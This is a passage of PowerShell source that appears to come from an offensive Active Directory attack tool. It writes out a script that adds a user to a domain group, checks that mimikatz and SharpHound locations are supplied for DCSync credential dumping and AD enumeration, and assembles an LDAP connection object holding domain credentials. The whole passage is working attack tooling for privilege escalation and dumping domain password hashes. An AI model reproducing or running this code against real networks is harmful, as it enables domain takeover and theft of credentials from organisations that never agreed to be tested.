$grpPrincipal = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($principalContext, $idType, $groupDN)
try {
if ($grpPrincipal -eq $null) {
Write-Host 'Error' -NoNewline
}
else {
$grpPrincipal.Members.Add($principalContext, $idType, $userDN)
$grpPrincipal.Save()
Write-Host 'Done' -NoNewline
}
} catch {
Write-Host 'Error' -NoNewline
}
# cleanup
$principalContext.Dispose()
if ($grpPrincipal -ne $null) {
$grpPrincipal.Dispose()
}
'@
$script | Out-File 'Add-ToGroup.ps1'
$global:filesCreated += 'Add-ToGroup.ps1'
$global:AddToGroupScriptFile = (Get-ChildItem -Filter 'Add-ToGroup.ps1').FullName
}
function Check-Env {
if ([string]::IsNullOrEmpty($mimiKatzLocation)){
if (-not $NoDCSync){
Write-Bad "Please specify mimikatz location!"
return $false
}
}
if ([string]::IsNullOrEmpty($SharpHoundLocation)){
Write-Bad "Please specify sharphound location!"
return $false
}
# Don't clean up if NODCSYNC is set
if ($NoDCSync -or $NoSecCleanup) {
$global:NoSecCleanup = $true
}
# Structure with LDAP connection info
$global:ldapConnInfo = New-Object PSObject -Property @{
'domain' = $domain
'username' = $username
'password' = $password
'protocol' = $protocol
'port' = $port
'Integrated_Login' = $false
'LDAPConnString' = "$protocol`://$domain`:$port"
'userPrincipalName' = ''
'sAMAccountName' = ''
'distinguishedName' = ''
}